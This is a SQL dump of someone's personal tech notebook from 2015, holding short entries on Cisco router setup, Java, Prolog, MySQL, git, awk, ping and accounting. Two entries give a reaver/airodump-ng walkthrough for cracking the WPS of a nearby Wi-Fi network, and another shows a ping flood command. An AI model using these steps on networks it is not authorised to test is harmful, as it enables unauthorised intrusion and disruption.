fa\n    \'\n    the pc will be able to cmd everything on the router, that is the meaning of virtual_connection\n\nto make that when u connect to ur router then u will be checked in password first:\n    u will not access the simple_user mode if u dont know the password  +--->+-this 0 means the first \n    \'                                                                  |    |   pc connected to the \n    router(conf)# line console 0                              ----------+    +-  virtual_console_connection\n    router(conf-line)# password pass00\n    router           # login                       --+-- the previous_cmd is only to set the pass\n        exit, exit                                   +--   but this is to activate it\n\n    router# copy running-config startup-config                   ---+--- this one is to save the conf\n    router# reload                -----+                            +---   and that conf will be set on next start\n                                       +- this is to reload the router\n                                          it will be reloaded with the conf previously done will be reload as well\n    \'\n    then now the router will reload and u will not be able to access it u don_t know the pass00\n\n\nto save the conf of the router\n    router01# copy running-config startup-config\n        -- u will be redirected in a prompt which will ask u the name of the conf_file\n        --  if u don_t give an name for it, it will be \"startup-config\"	\n        --      and will be reloaded by default on the next startup of the router\n \n','2015-02-15 13:22:29'),(644,'#java -implements_runnable -thread -example -intro',NULL,NULL,'\n\n                                +--------- autre type pour creer thread, avec implements Runnable\n                                |             alors lors de la creation de l_objet thread, ce sera comme le suivant\n                                |                 Ecrit e01 = new Ecrit(\"txt01\", 6, 1000);\n                                |                 Thread t01=new Thread(e01);\n                                v                 t01.start();\n+-------------------------------v---------------------------------------------------------------------------------------------------------------------------------------------+\n|   class Ecrit implements Runnable{                                                                         ----+                                                            |\n|      private String texte ;       --+ / voici des var dont le                                                  |                                                            |\n|      private int nb ;               +-+    thread va manipuler                                                 |                                                            |\n|      private long attente ;       --+                                                                         |                                                            |\n|                                                                                                                |                                                            |\n|       public Ecrit (String texte, int nb, long attente) {                                                      |                                                            |\n|           this.texte = texte ;                                                                                 |                                                            |\n|           this.nb = nb ;                                                                                       +---- on definit                                             |\n|           this.attente = attente ;                                                                             |     ce que la                                              |\n|       }                                                                                                        |     thread va                                              |\n|       public void run () {                                          ---+                                       |     faire                                                  |\n|           try {                                                        +-- on definit ce que le                |                                                            |\n|               for (int i=0 ; i<nb ; i++) {                             |      thread va faire                  |                                                            |\n|                   System.out.print (texte) ;                           |                                       |                                                            |\n|                   Thread.sleep (attente) ; // attention Thread.sleep>>>>>>--+-Thread.sleep, on l_utilise qd    |                                                            |\n|               }                                                        |    |   on veut faire sleep            |                                                            |\n|           }                                                            |    |   mais avec implements_Runnable  |                                                            |\n|           catch (InterruptedException e) {} // impose par sleep        |    | Thread.sleep lance une exception |                                                            |\n|       }                                                             ---+    +-  qui se nomme InterruptedExcept |                                                            |\n|                                                                                                                |                                                            |\n|   }//end_class_Ecrit                                                                                       ----+                                                            |\n|                                                                                                                                                                             |\n|   public class TstThr3{                                                                                                                                                     |\n|       public static void main (String args[])	{                                                                                                                             |\n|           Ecrit e1 = new Ecrit (\"bonjour \", 10, 5) ;         --+-- on creee l__objet_thread                                                                                 |\n|           Ecrit e2 = new Ecrit (\"bonsoir \", 12, 10) ;          |      venant de class_implements_Runnable                                                                   |\n|           Ecrit e3 = new Ecrit (\"\n\", 5, 15) ;               --+   le thread n_est pas encore reelemnt cree, c en bas qu_on cree le vrai Thread                             |\n|                                                                                                                                                                             |\n|           Thread t1 = new Thread (e1) ; t1.start() ;            --+- n_oublie jamais de demarrer                                                                            |\n|           Thread t2 = new Thread (e2) ; t2.start() ;              |       le thread                                                                                         |\n|           Thread t3 = new Thread (e3) ; t3.start() ;            --+                                                                                                         |\n|       }//end_meth_main                                                                                                                                                      |\n|   }//end_class_TstThr3                                                                                                                                                      |\n+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n','2015-02-12 02:59:48'),(662,'#mysql -conf -intro -division',NULL,NULL,'\n/etc/my.cnf	overrided by\n/etc/mysql/my.cnf overrided by\n~/.my.cnf\n\nit is divided like this:\n	[client]\n	...\n	[mysqld_safe]\n	...\n	[mysqld]\n	...\n	[mysqldump]\n	...\n	[mysql]\n	...\n	[isamchk]\n	...\n','2015-02-12 18:41:29'),(663,'#mysql -utf8 -char-db','\nset character_set_database = utf8;\n',NULL,NULL,'2015-02-13 02:43:45'),(664,'#radius -intro','\nRadius is a protocol for carrying information related to authentication, \n	authorization, and configuration between a Network Access Server (NAS)\nbefore u start prolog, u have to understand:\n    aaa(Authentication, Authorization, and Accounting)\n    nas(network access system)',NULL,NULL,'2015-02-13 18:49:21'),(665,'-ls-user of#irc-chan',NULL,NULL,'/names','2015-02-13 19:22:27'),(666,'#mysql -logging-file','tail -f /var/log/mysql/mysql.log',NULL,NULL,'2015-02-13 19:36:32'),(667,'#mysql -replace -text****',NULL,NULL,'update notes_tech set cmd_exp=replace (cmd_exp, substring(cmd_exp, LOCATE(\'****\', cmd_exp), LENGTH(cmd_exp) - LOCATE(\'****\', REVERSE(cmd_exp)) - LOCATE(\'****\', cmd_exp) + 2), \'\') where id_n_t=xxx;','2015-02-13 20:19:22'),(677,'#sip -intro','\nSIP is a signalling protocol designed to create, modify, and terminate a multimedia session over the Internet Protocol\nIt is an application layer protocol that incorporates many elements of the Hypertext Transfer Protocol (HTTP) and the Simple Mail Transfer Protocol (SMTP)\nused in telecom_testing\nu should understand very well:\n	network concept\n	tcp, \n	udp, \n	http, \n	smtp, \n	voip\n\nhttp://www.tutorialspoint.com/session_initiation_protocol/index.htm\n',NULL,NULL,'2015-02-15 05:01:02'),(670,'#prolog -and-or-if-not',NULL,NULL,'\nand   ,\nor    ;\nif    :-\nnot   not\n','2015-02-13 21:27:57'),(671,'#prolog -variable -capital -atoms -numbers -long-list -matching',NULL,NULL,'\nfor example:\n        dating (X, Y) :-\n                likes(X, Y),\n                likes(Y, X).\n\nwe have this next\nlikes(billy, nat).\nlikes(nat, billy).\n\nthese next cmd will be true:\n    dating(billy, nat).\n    dating(nat, billy).\n\nremember that:\n    facts must be loaded from file\n        ex: swipl -f /path/file00.pl\n        u can_t type it from the prompt\n            ie, u can_t do this next:\n                ?- likes(bobby, mmt).\n                likewise functions(likes) is not loaded from a file\n    u can load _rules_ from the prompt immediately but\n        ifk it_s better that u load it from files\n\n    all _atoms_ are all _minuscule_\n    ex:\n        butch \n        big_kahuna_burger\n        m_monroe2\n        \n    all _variables_ start in _capitalization_ or starts with underscore\n    ex:\n        X\n        Y\n        Variable\n        _tag\n        X_526\n        List24\n    The variable _ (a single underscore character)\n        is rather special\n        is called anonymous variable\n    \'\n    \'\n    numbers:\n        most prolog implementations support _float_nbr_\n            but aren’t particularly important\n        but _integers_ are useful as counting the elements of a list\n            ex: 0, 1, 3, -5, -27000\n\nshort intro about matching\n===========================\nthis will be true\n    ?- =(mia, mia).\n    ?- =(1, 1).\n','2015-02-24 15:14:51'),(669,'#mysql -log -explanation',NULL,NULL,'\ni did a query like this:\n	select * from notes_tech where tiitle like \'233\' G\nand in log of mysql(in mine: /var/log/mysql/mysql.log)\n    I have this next_one\n    150213 22:40:56    63 Query     select * from notes_tech where id_n_t=233\n    |-+--|                |-+-|     |----------------+-----------------------|\n      |                     |------+                 +------ this is the query\n      |---------+----15 for 2015   |\n                +----02 for feb    |\n                +----13 for 13th   +--- to tell that i_m doing query\n','2015-02-13 20:48:50'),(674,'#prolog -variables -compound-questions -rules -struct',NULL,NULL,'\nvi /path/test.pl\n	weather(phoenix, summer, hot).\n		%phoenix is hot in the summer\n	weather(la, summer, warm).\n		%la is warm in the summer\n	weather(phoenix, winter, warm).\n		phoenix is warm in the winter\n\nvi /path/rules_prolog.pl','2015-02-15 08:56:59'),(675,'#gnuprologjava -start -intro -long-list',NULL,NULL,'\nto load facts:\nmake sure that \"fact_rule.pl\"\n    is in the same folder as this code_of_java\n    \'\n    import gnu.prolog.term.AtomTerm;\n    import gnu.prolog.vm.Environment;\n    \'\n    main() {\n        ...\n        Environment env = new Environment();\n        env.ensureLoaded(AtomTerm.get(\"fact_rule.pl\"));\n        ...\n    }\n\n\nafter loading the fact_rule.pl\nu need to get _interperter_ used to execute goals of your question.\n    \'\n    import gnu.prolog.vm.Interperter;\n    \'\n    main(){\n        ...\n        Interpreter interpreter;\n            // u can not create an object of class Interpreter\n        interpreter = env.createInterpreter();\n            // env is already defined before\n        ...\n    }\n\nafter the load of fact_rule, and setting the interperter_\nu need to initialise\n    \'\n    ...\n    env.runInitialization(interpreter);\n    ...\n\nnow the setup is completed\nu can start running goals like this next one:\n    \'\n    ...\n    interpreter.runOnce(Term);\n        // Term is the goal u want to exe\n    ...\n\n#end_file\n','2015-03-07 16:12:37'),(676,'#prolog -comment in-fact',NULL,NULL,'\nthis next is a fact of prolog\n	child(person01, person02).\n	  % this is a comment\n	  % person01 is a child of person02\n	parent(person02, person01).\n	  % this is a comment\n	  % person02 is a parent of person01\n','2015-02-14 01:56:28'),(673,'#prolog -intro -long-list',NULL,NULL,'\nc un langage:\n    declaratif(contrairement a java, cpp, ...(langage imperatif))\n    indeterministe(permet de traiter pbm comportant plusieurs solutions)\n\non trouve tjr:\n    connaissance(decrivant des faits )\n        regroupes dans une base de faits\n    moteur d_inference\n        pour appliquer les regles aux faits\n','2015-03-11 02:57:20'),(910,'#java -ternaire -intro',NULL,NULL,'\n    int x = 10, y = 20;\n    int max = (x < y) ? y : x ;\n    \'\n    that means:\n        if (x < y)\n            max = y;\n        else\n            max = x;\n\nthis next one is possible as well\n    int max = (x < y) ? y * 2 : x * 2 ;\n    \'\n    which means\n        if (x < y)\n            max = y * 2;\n        else\n            max = x * 2;\n','2015-03-07 16:45:14'),(911,'#java -do-while -intro',NULL,NULL,'\ncette boucle s_exe tjr\n    au moins une fois\n\nattention il y a \";\" apres while\n\nbesoin de faire l_incrementation a l_interieur du boucle.\n\n\nex:\nint x = 0;\n    do{\n        System.out.println(\"x: \" + x);\n        x++;    \n    } while (x < 5);\n','2015-03-07 16:51:47'),(912,'#java -jtextarea -intro -jscrollpane',NULL,NULL,'atreto dia ny jscrollpane mameno ny frame|jpanel izay tsisy zvt mintsn\nmain(){\n    ...\n    JTextArea jtextarea = new JTextArea(\"default text in jtextarea\", 5, 100);\n                   ^                                                 ^    ^\n                   |                         nb_of_rows -------------+    +-----nb_of_cols\n                   |\n                   +---------------------------v\n    JScrollPane scrollpane = new JScrollPane(jtextarea);\n    ...             ^---------------vv\n    frame00.getContentPane().add(scrollpane, BorderLayout.CENTER);\n    ...\n}                                                                 ;\n','2015-03-08 12:38:15'),(678,'#google -research-per-site','\nex: to research \"sip\" in site \"www.tuto.com\"\n	research this next in google:\n		sip site:www.tuto.com\n',NULL,NULL,'2015-02-15 05:06:13'),(679,'#ff -plugin -mega_cloud','MEGA 2.0.218',NULL,NULL,'2015-02-15 06:57:13'),(680,'#mysql -get-size-table',NULL,NULL,'\nSELECT table_name AS \"Table\", \nround(((data_length + index_length) / 1024 / 1024), 2) \"Size in MB\" \nFROM information_schema.TABLES \nWHERE table_schema = \"db00\"\n AND table_name = \"table00\";\n','2015-02-15 07:16:06'),(681,'#wpa -introduction','\nWi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) are two security protocols and security certification programs to secure wireless computer networks.\nit succeded wep,\n  wep has some serious weaknesses which has been found before\n',NULL,NULL,'2015-02-15 08:54:10'),(682,'#wpa2 -hack -reaver',NULL,NULL,'\nhttp://www.hackingdream.net/2014/07/how-to-hack-wifi-wpa-and-wpa2-without.html\nhack should be complete after 5-18hours\n	if ur signal is good, and ur sys is in good_condition\n\nselect the interface which will do the hack:\n	airmon-ng start ','2015-02-15 10:51:40'),(684,'#cisco -line-vty-connection',NULL,NULL,'                                         +-------+\n                 0/0Port------+           |   pc  |\n                              |           +-------+\n            +-----------------+-----+-----+-- fast_ethernet_port\n            |  routerGeneric  |     |\n            +-----------------+     |\n                                    +--- copper_cross-over_cable\n\n\nto administrate the router, u can do that from console_connection\nbut u can do that from line vty as well\n\'\nto do the management of the router from the line vty(to administrate router from telnet):\n    router(config)# line vty 0 4\n                             |+|\n                              +--- that means u can administrate the router from 5pc (0 1 2 3 4)\n           (config-line)# password pass00 \n                        # login\n                        # end\n\nu just set the pass and told that the router is able to be administrated from line_terminal too\n    from telnet\n\nto administrate the router, the router needs an @ip\n    go to fa0/0 of the router\n    give an ip\nnow you should be able to telnet the router\n','2015-02-15 13:36:33'),(685,'#cisco -password_for-privileged_mode',NULL,NULL,'\nto seal the privileged mode of the router with a password,\n	but beware bcz the pass00 will be seen clearly in \"show running-config\"\n\nrouter(config)# enable password pass00\n\n to unable that fact that u have to set a pass before accessing the privileged mode of the router\nrouter(config)# no enable password\n\nthe way of using \"(config)# enable password\" is that the pass will be shown in \"show run\" \nto encrypt the pass in \"show run\", do this\n	router(config)# enable secret pass00','2015-02-15 13:54:53'),(686,'#git -conf-file-division',NULL,NULL,'\nthe division of conf of git are:  \n    [user]                       \n    ...                        \n    [core]                     \n    ...                        \n    [alias]                    \n    ...                        \n    [credential]               \n    ...             \n   [commit]\n    ...\n','2015-02-15 17:03:09'),(687,'#git -config-type -override',NULL,NULL,'\nthe conf of git are:\n        ./.git/config override\n        ~/.gitconfig  which override\n        /etc/gitconfig\n\nthe types of configuration in git are:\n        --system\n        --global\n        configuration inside:\n                ./.git/config\n\nthe division of conf of git are:\n        [user]\n        ...\n        [core]\n        ...\n        [alias]\n        ...\n        [credential]\n        ...\n        [merge]\n	...\n	to check almost all of this,\n	  check at(686) or \"#git -conf-file-division\"\nso u can do this next one likewise \"name\" is a field in division \"user\":\n    git config --global user.name \"name00\"\n\nnote that in the config file is\n    [user]\n    name=\"name00\"\nis the name which will be used in the commit when u see the \"git log\"\nso u can do this next one likewise \"name\" is a field in division \"user\":\n    git config --global user.name \"name00\"\n','2015-02-15 17:07:40'),(688,'#git -conf-list -get-value',NULL,NULL,'\nto get the value of the configuration in the current repos:\n	git config --list\n\nto get some specific value of the configuration\n	ex:\n	git config user.name\n','2015-02-15 16:29:52'),(689,'#git -compare_2branches',NULL,'git diff branchB..branchA',NULL,'2015-02-15 16:38:56'),(690,'#git -follow-file00-only',NULL,'git log --follow file00',NULL,'2015-02-15 16:42:29'),(691,'#scrb -interactive -read',NULL,NULL,'\nread -p \'ur name: \' name00\n\necho $name00\n','2015-02-15 17:35:43'),(692,'#ping -intro -long-list',NULL,NULL,' http://www.thegeekstuff.com/2009/11/ping-tutorial-13-effective-ping-command-examples/#more-2525 \nBy default ping waits for 1 second before sending the next packet.\nWait for 5 seconds before sending the next packet\n    ping -i 5 ip00\nWait for 5 seconds before sending the next packet\n    ping -i 0.1\n\nto test if your loopback works\n    ping 0\n    ping localhost\n    ping 127.0.0.1\n\nto ping ip00 ad stop the ping after sending 5packets\n    ping -c 5 ip00\n\nto show the version of ping\n    ping -V\n\nto give beep when the host is reachable\n    ping -a ip00\n\nto change the size of the packet in ping, here we will change it to 100bytes\n    ping -s 100 ip00    \n        but the real packet which will be sent is 128bytes, bcz there will be 28bytes of header\n\nto get the summary of ping only\n    ping -c 5 -q ip00\n         |-+-|\n           +------to tell that I want to send only 5packets\n        the -q is used for telling that I want the summary\n\nto ping ip00 and ping will exit after 10sec of the target not reached \n    ping -w 10 ip00\n\nto ping ip00 and to show the summary\n    after hitting <ctrl>|\n\nto ip00 but passing by ip01 ip02 ip03\n    ping ip01 ip02 ip03 ip00\n\nto ping ip00 and to show the ip where the packet was gone before reaching ip00\n    ping -R ip00\n    out:\n        ip10\n        ip11\n        ip00\n    this worked on blueline.mg\nto flood the target to packets sent by ping:\n    ping -f ip00\nto prevent from that \"ping flood\":\n    sysctl -w net.ipv4.icmp_echoreply_rate=10    \n\nto disable ping reply \n    echo \"1\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\nto enable ping reply again\n    echo \"0\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\n','2015-02-17 17:54:00'),(693,'#awk -default-file -used-in-some-lines-of-this-db','\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,NULL,'2015-02-16 19:45:55'),(694,'#awk -prg_awk-saved_in-file -global-var',NULL,NULL,'\ncat marks.txt\n=========================================0\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nawk \'{print}\' marks.txt\n    will print all marks.txt\n\nto set the awk_prg in a file and exe it in marks.txt\n    cat cmd01.awk\n    ==========================================\n    {print}\n\n    awk -f cmd01.awk marks.txt\n        that is the same as: awk \'{print}\' marks.txt\n\nto assign a value to a var\n    awk -v name=Jerry \'BEGIN{printf \"Name = %s\\n\", name}\'\n    out:\n        Name = Jerry\n\nto get the global var of awk inside \"awkvars.out\"(default_name)\n    awk --dump-variables \'\'\n    to see the global_var of awk:\n        cat awkvars.out # to do just after the previous cmd\n','2015-02-16 20:11:57'),(695,'#awk -print-some-cols-only',NULL,NULL,'\nuse (693) in marks.txt\nawk \'{print $3 \"	\" $4}\' marks.txt\n\nawk \'{print $3 \"\\t\" $4}\' marks.txt\nout:\n======================================\nPhysics    80\nMaths      90\nBiology    87\nEnglish    85\nHistory    89\n','2015-02-16 20:31:53'),(696,'-unable|disable#ping-reply',NULL,NULL,'\nto disable ping reply \n    echo \"1\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\nto enable ping reply again\n    echo \"0\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\n','2015-02-16 20:07:34'),(697,'#awk -print-lines-with\"a\"','\nuses(693) as marks.txt\nawk \'/a/ {print $0}\' marks.txt\nout:\n================================\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,NULL,'2015-02-16 20:20:32'),(698,'#wps(wifi protected sys)','\nDifferent Type of wifi security system which is enabled for some routers,\n    it is hackable IF the \"ap rate limiting\" is NOT _enabled_\n',NULL,NULL,'2015-02-16 20:20:57'),(699,'#hack -wifi -reaver',NULL,NULL,'\nhttp://www.hackingdream.net/2014/07/how-to-hack-wifi-wpa-and-wpa2-without.html\nif the network has excellent signal and ur sys is in good condition,\n	the hack will be completed after 5-18hours\n\nselect the interface which u will use for the hack.\n    airmon-ng start wlan0\n        after this u should see the some supplicant\n        kill those supplicant\n            here is an example result of prev_cmd\n            PID     Name\n            =============================\n            3456    NetworkManager\n            6357    wpa_supplicant\n            \'\n            to kill those supplicant\n                kill -9 3456\n                kill -9 6357\nsearch all wifi which are available near_by\n    airodump-ng wlan0\n\nwhen u got which wifi u want to hack\n    stop the search done by the airodump-ng by hitting: ctrl-c\n\nto research the wifi which is protected by \"ap rate limiting\"\n    wash -i mon0\nu should get the bssid00 of the netw which u want to hack\n    copy it\n\nuse the reaver cmd:\n    reaver –i mon0 –b bssid00 -vv\n','2015-02-16 20:59:20'),(700,'wpa_supplicant',NULL,NULL,'/sbin/wpa_supplicant -u -s -O /var/run/wpa_supplicant','2015-02-16 21:30:08'),(701,'#linux -find -exec',NULL,NULL,'\nthis an example which will search into the current_folder and will move the result\n    into /path/for/move/\n    \'\n    find -maxdepth 1 -iname \'mp3\' -exec mv {} /path/to/move/ ;\n','2015-02-17 04:39:30'),(702,'#java -string-buffer -intro -long-list',NULL,NULL,'\nStringBuffer est utile dans les prg manipulant _intensivement_ les chaines\n	elle ne possede aucun lien avec String\n\non peut creer StringBuffer a partir de String\nStringBuffer chBuf = new StringBuffer (\"string_value\") ;\n                            //          |----------|\n                                        012345678901\n                                                  11\nchBuf.setCharAt (3, ’J’);                  J\nchBuf.append (\" 2\") ;                    strJng_value2\nchBuf.insert (3, \"langage \")            strlanguage e2\n\n','2015-02-17 08:10:23'),(703,'#java -enum',NULL,NULL,'\ntu ne peux pas creer enum a l_interieur d_une methode\n	ie, tu peux pas faire ceci\n	public void meth01(){\n		enum d{a, b, c};\n	}\n\n	tu dois le faire comme ceci:\n	class class00{\n		enum d {...};\n		public void meth00(){}\n	}\n\nenum Days{mon, tue, wed, thu, fri, sat, sun};\n\non peut définir des objets de type Days\n	Days d01= Days.mon;\n\nifk: on ne peut pas instancier les \"enum\"\n\npour la comparaison:\n	if (cur_day == Days.sat){}\n	if (cur_day.compareTo(Days.fri)){}\n\nordinal()\n	on a \n		enum Days={mon, tue, wed, thu, fri, sat, sun};\n			        0   1    2      3   4    5    6	\n		Days d02 = Days.thu;\n        int a = d02.ordinal();  // a = 3;\n','2015-02-17 08:38:44'),(704,'#java -convert-enum-String',NULL,NULL,'\nto convert enum to string\n	Days is in (703)\n	String str00 = Days.mon.toString();\n','2015-02-17 08:31:51'),(705,'#java -get-all-values-enum',NULL,NULL,'\nDays d {a, b, c, d};\nmain(){\n	for (Days j : days.values() ){ \n		System.out.println (days.toString() ) ;\n	}\n\n}\n\nout:\n	a\n	b\n	c\n	d\n','2015-02-17 08:44:04'),(706,'#java -add-meth-in-enum',NULL,NULL,'\nenum Jour{ \n    lundi, mardi, mercredi, jeudi, vendredi, samedi, dimanche ;\n                                                              ^+- do not forget this\n                                                               +- it is not }\n	public void affiche (){                                        --+\n		System.out.println (this.toString() ) ;                      +-- here u can see that there \n	}                                                              --+     is a method inside an enum\n}\n\n','2015-02-17 09:08:19'),(707,'#java -enum-constructeur',NULL,NULL,'\nenum Jour{ \n\n    lundi (\"lu\"), mardi (\"ma\"), mercredi (\"me\"), jeudi (\"je\"), vendredi (\"ve\"),\n    samedi (\"sa\"), dimanche (\"di\") ;\n\n              +--- this is a constructor of an enum type\n              |\n            --+-\n    private Jour (String a)// constructeur ; en argument, l’abreviation\n    { \n  +->>  abrege = a ;\n  | }\n  |\n  |\n  | public String abreviation () { \n  |     return abrege ; \n  | }\n  +->>  private String abrege ;\n\n}\n\nmain() {\n    System.out.println (\"Noms des valeurs du type jour et leurs abreviations\") ;\n    for (Jour j : Jour.values() )\n        System.out.println ( j + \" : \" + j.abreviation() ) ;\n\n}\n\n\nout:\n	Noms des valeurs du type jour et leurs abreviations\n	lundi : lu\n	mardi : ma\n	mercredi : me\n	jeudi : je\n	vendredi : ve\n	samedi : sa\n	dimanche : di\n','2015-02-17 09:20:55'),(708,'#linux -most',NULL,NULL,'\nuse:\n	most file00\n\nto imitate \"tail -f file00\"\n	most file00\n	and type F, but not f hein\n\nto split the screen of most\n	most file00\n	and type ctrl-w 2\nto unsplit the screen \n	when the sceen is splitted\n	and type\n		ctrl-x 1\n','2015-02-17 09:41:18'),(709,'#ping -intro','\nhttp://www.linuxjournal.com/article/8605\nping is a diagnostic tool used for verifying connectivity between two hosts on a network\nIt uses ICMP echo request packets to a remote IP address and watches for ICMP responses.\nIf you could ping a host, you also could make an FTP or HTTP connection\n',NULL,NULL,'2015-02-17 17:12:55'),(710,'#compta -type-intro','\n                CG                                  C analy\nGestion du patrimoine                                 Valorisation d’éléments dubilan \n    Dettes/créances, liquidités, stocks,                  Stocks, production immobilisees, ...\n    immobilisations ...\n                                                      calcul des couts:\nCalcul du résultat                                        Résultats et marges, aide à la décision\n    Dividendes, participation, impôts\n                                                      previsions:\nInformation des tiers                                     standards, budgets, ecarts, ...\n    État, marchés financiers, banques\n',NULL,NULL,'2015-02-17 18:02:01'),(711,'#ping -result-explained',NULL,NULL,'\nping ip00\nout:\n        PING mango (192.168.1.1) from 192.168.1.10 : 56(84) bytes of data.   <<---- an overview of the\n        64 bytes from mango (192.168.1.1): icmp_seq=0 ttl=255 time=0.5 ms ----+        cmd\n        64 bytes from mango (192.168.1.1): icmp_seq=1 ttl=255 time=0.3 ms     |\n        64 bytes from mango (192.168.1.1): icmp_seq=2 ttl=255 time=0.3 ms     +-- a running _tally_ of the\n        64 bytes from mango (192.168.1.1): icmp_seq=3 ttl=255 time=0.3 ms     |     the responses received\n        64 bytes from mango (192.168.1.1): icmp_seq=4 ttl=255 time=0.3 ms     |\n        64 bytes from mango (192.168.1.1): icmp_seq=5 ttl=255 time=0.3 ms ----+\n                                                                  --+\n        --- ip00 ping statistics ---                                +--- summary of the result\n        6 packets transmitted, 6 packets received, 0% packet loss   |\n        round-trip min/avg/max = 0.3/0.3/0.5 ms                   --+\n\n','2015-02-24 18:18:17'),(712,'#compta -intro','\nen compta, il y a tjr un mvt par un sens puis par un sens inverse,\n    par un + et par un -\n    par un debit et par un credit\n    ex:\n        client(immo) paie sa facture 121€ par un virement banquaire pour la societe00\n        \n             +----+                          +---------+\n             |immo+------------------------>>+societe00|\n             +----+                          +---------+\n        \'\n            compte_banque_societe00:: debit: 121€\n                         :: +121€\n            compte_immo:: credit: 121€\n                         :: -121€\non doit avoir avoir\n    egalitee entre debit et credit\n',NULL,NULL,'2015-02-17 18:14:39'),(713,'#compta -definition-charge','\nUne charge est une dépense ou une diminution de\nl’actif non compensée par une augmentation de\npatrimoine\n',NULL,NULL,'2015-02-17 18:15:00'),(714,'#compta -definition-actifs','\nCe sont les avoirs de l’entreprise\nce sont ce que l_entreprise possede\ndebit designe augmentation des avoirs(ifk: actif)\nles moins liquides(ifk: les moins productif) se placent dans le haut de la liste(du bilan)\n',NULL,NULL,'2015-02-17 18:23:21'),(715,'#compta -intro','\nen compta, il y a tjr un mvt par un sens puis par un sens inverse,\n    par un + et par un -\n    par un debit et par un credit\n    ex:\n        client(immo) paie sa facture 121€ par un virement banquaire pour la societe00\n        \n             +----+                          +---------+\n             |immo+------------------------>>+societe00|\n             +----+                          +---------+\n        \'\n            compte_banque_societe00:: debit: 121€\n                         :: +121€\n            compte_immo:: credit: 121€\n                         :: -121€\non doit avoir avoir\n    egalitee entre debit et credit\n',NULL,NULL,'2015-02-17 18:54:29'),(716,'#compta -bilan-intro','http://www.coursdecomptabilite.be/theorie/le001th002.php\nun resume:\n                avoir de l_entreprise									dettes de l_entreprise\n                        debit                                                      credit\n                      \n \n\nlong_terme          actif                                             passif\n                        actif immobilisees                              cp\n                            frais d_ets                                     capital, Prime d’émis., +values de rééval\n                            immobilisation corporelle                       reserves\n                            immobilisation incorpo                          benefice/perte_reportee\n                            immob financiere                                subside_en_capital\n                                                                            avance aux associees sur rep de l_actif_net\n                        actif circulant            \n\ncourt_terme         charges                                           produit\n                        marchandise                                       ventes\n                        frais generaux                                    autres prod d_exploitation\n                        remunerations                                     produits financiers\n                        charges financieres                               xxxxxxxx exceptionnels\n                                exceptionnelles                           impots\n                        transferts au reserves immunisees                 prelevements sur les reserves immunisees\n\n\n\nimmediat/passee        benefice/perte de l_exo                         benefice/perte de l_exo\n                           benefice de l_entreprise                       perte de l_entreprise\n\n',NULL,NULL,'2015-02-17 19:59:06'),(717,'#compta -definition-passif','Ce sont les dettes de l’entreprise\ncrediter veut dire augmentation des dettes\ndebiter peut dire diminution des dettes\nclassees par ordre d_exigibilitee\n	plus ils sont en bas plus ils sont plus exigees',NULL,NULL,'2015-02-17 20:46:04'),(718,'#compta -definition-produit','des biens et services qui ont ete generes par l_entreprise',NULL,NULL,'2015-02-17 20:53:14'),(719,'#compta -definition -crediter|debiter-qlq1','crediter pers01 veut dire que tu lui fait augmenter sa dette\ndebiter pers01 veut dire que tu lui fait augmenter ses avoirs\n',NULL,NULL,'2015-02-17 20:53:14'),(720,'#vim -delete-unwanted-lines',NULL,NULL,':g/^\\s*$/d','2015-02-24 10:17:26'),(721,'#prolog *kb2',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb2))\n=====================================================\n\nlistensToMusic(mia).\nhappy(yolanda).\nplaysAirGuitar(mia) :- listensToMusic(mia).\nplaysAirGuitar(yolanda) :- listensToMusic(yolanda).\nlistensToMusic(yolanda):- happy(yolanda).\n','2015-02-18 15:29:21'),(722,'#prolog *kb1',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb1))\n=====================================================\n\nwoman(mia).\nwoman(jody).\nwoman(yolanda).\nplaysAirGuitar(jody).\n','2015-02-18 15:30:09'),(723,'#prolog *kb3',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb3))\n=====================================================\n\nhappy(vincent).\nlistensToMusic(butch).\nplaysAirGuitar(vincent):-\nlistensToMusic(vincent),\nhappy(vincent).\nplaysAirGuitar(butch):-\nhappy(butch).\nplaysAirGuitar(butch):-\nlistensToMusic(butch).\n','2015-02-18 15:30:52'),(724,'#prolog *kb4',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb4))\n=====================================================\n\nwoman(mia).\nwoman(jody).\nwoman(yolanda).\nloves(vincent,mia).\nloves(marcellus,mia).\nloves(pumpkin,honey_bunny).\nloves(honey_bunny,pumpkin).\n\n\nThere are no rules, only a collection of facts.\n\n','2015-02-24 13:57:42'),(725,'#prolog *kb5',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb5))\n=====================================================\n\nloves(vincent,mia).\nloves(marcellus,mia).\nloves(pumpkin,honey_bunny).\nloves(honey_bunny,pumpkin).\njealous(X,Y) :- loves(X,Z),loves(Y,Z).\n','2015-02-18 15:32:07'),(726,'#prolog -noname -_',NULL,NULL,'\nbio(louis13, h, 1601, 1643, henri4, marie_medicis).\nbio(elisabeth_france, f,1603,1644, henri4, marie_medicis).\nbio(marie_therese_autriche,f,1638,1683, philippe4, elisabeth_france).\nbio(louis14, h,1638,1715, louis13, anne_autriche).\n...\n...\nto find all female\n	?- bio(X, f, _, _, _, _).\n\n	out:\n		X=elisabeth_france\n		X= marie_therese_autriche\n','2015-02-18 15:39:59'),(727,'#java -action_performed -action_listener',NULL,NULL,'\n                                        <1>\n         v--------------------------------------------------+\nclass class00 extends JFrame implements ActionListener{     |\n            ^ ------------------------------^               |\n        .....             <2>                               |\n        .....                                               |\n        public void actionPerformed(ActionEvent e){         |\n                ..........                                  |\n        }                                                   |\n        .....                                               |  <1>\n        .....                                               |\n                                                            |\n	to add the actionListener to an object_button       |\n	constructor(){                                      |\n		JButton button = new JButton(\"button\");     |\n		button.addActionListener(this);             |\n                                   ^------------------------+\n	}                                           <1>\n}\n\n','2015-02-18 16:22:11'),(729,'#java -jcheckbox 